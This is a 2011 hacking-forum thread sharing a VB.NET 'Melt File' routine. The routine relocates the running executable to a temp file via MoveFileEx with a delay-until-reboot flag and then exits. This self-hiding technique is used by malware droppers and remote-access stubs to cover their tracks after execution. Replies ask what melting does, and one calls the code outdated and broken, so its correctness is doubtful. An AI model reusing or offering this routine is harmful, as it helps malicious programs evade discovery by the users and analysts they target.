[VB.NET] Melt File (no drops) [Pure Code]

Clan99 · 07-04-2011, 11:48 AM

Code:
Public Declare Function GetModuleFileName Lib &quot;kernel32&quot; Alias &quot;GetModuleFileNameA&quot; (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
  Public Declare Function ExitProcess Lib &quot;kernel32&quot; Alias &quot;ExitProcess&quot; (ByVal uExitCode As UInteger) As Integer
  Public Declare Function MoveFile Lib &quot;kernel32&quot; Alias &quot;MoveFileExW&quot; (&lt;[In](), MarshalAs(UnmanagedType.LPTStr)&gt; ByVal lpExistingFileName As String, &lt;[In](), MarshalAs(UnmanagedType.LPTStr)&gt; ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer
  Public Sub MeltFile()
    MoveFile(Left(Application.ExecutablePath, GetModuleFileName(0, Application.ExecutablePath, 256)), System.IO.Path.GetTempPath + &quot;\tmpG&quot; + Date.Now.Millisecond.ToString + &quot;.tmp&quot;, 8)
    ExitProcess(0)
  End Sub

To call you use

Code:
MeltFile()

Credits to GeneralDee

Fuckedyouover · 08-15-2011, 07:41 AM

What exactly does melting the file do?

nosferatus · 08-21-2011, 04:35 PM

(07-04-2011, 11:48 AM)Clan99 Wrote:
Code:
Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer Public Declare Function ExitProcess Lib "kernel32" Alias "ExitProcess" (ByVal uExitCode As UInteger) As Integer Public Declare Function MoveFile Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpExistingFileName As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer Public Sub MeltFile() MoveFile(Left(Application.ExecutablePath, GetModuleFileName(0, Application.ExecutablePath, 256)), System.IO.Path.GetTempPath + "\tmpG" + Date.Now.Millisecond.ToString + ".tmp", 8) ExitProcess(0) End Sub

To call you use

Code:
MeltFile()

Credits to GeneralDee

No ofence but you suck.
Stop posting years old code that doesn't even work properly.